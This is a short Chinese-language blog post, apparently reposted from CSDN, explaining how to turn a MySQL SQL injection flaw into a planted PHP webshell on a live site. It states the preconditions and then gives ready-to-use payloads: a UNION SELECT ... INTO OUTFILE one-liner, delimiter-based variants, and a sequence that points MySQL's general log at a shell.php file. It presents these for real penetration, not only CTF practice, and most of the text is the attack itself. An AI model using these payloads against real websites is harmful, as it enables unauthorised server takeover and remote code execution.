SQL注入写入Webshell

前言

在平时的CTF题目中,我们只是利用SQL注入漏洞去获取flag,但是在实际的渗透环境中,我们可以利用SQL注入漏洞去上传一个webshell,进而获取网站的后台权限。
首先,对于能否写入webshell是有条件的:

  1. secure_file_priv 支持数据导出。MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL,MySQL服务会禁止导入和导出操作。通过命令查看secure-file-priv`的当前值,确认是否允许导入导出以及到处文件路径。
    在这里插入图片描述
  2. 当前数据库的用户拥有FILE权限。
  3. 当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。
  4. 知道网站目录的绝对路径。

union select写入

outfile方法是mysql提供的一个用来写入文件的函数,当我们可以控制输入的文件和文件的保存路径时,就可以达到传入webshell的目的。当我们可以使用union查询时,就可以构造一个如下的语句:

union select '<?php eval($_POST[cmd])?>' into outfile 'web目录';

分隔符写入

当union无法使用时,还可以利用分隔符写入:

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>#

log写入

新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话木马,这时我们可以通过修改MySQL的log文件来获取webshell。

show variables like '%general%';                     #查看配置

set global general_log = on;                         #开启general log模式

set global general_log_file = '网站目录/shell.php';   #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>'                #写入shell

set global general_log=off;                          #关闭general log模式

然后就可以在网站目录下创建一个shell.php,里边有我们写入的一句话木马。
在这里插入图片描述
打开执行phpinfo
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43749601/article/details/115280242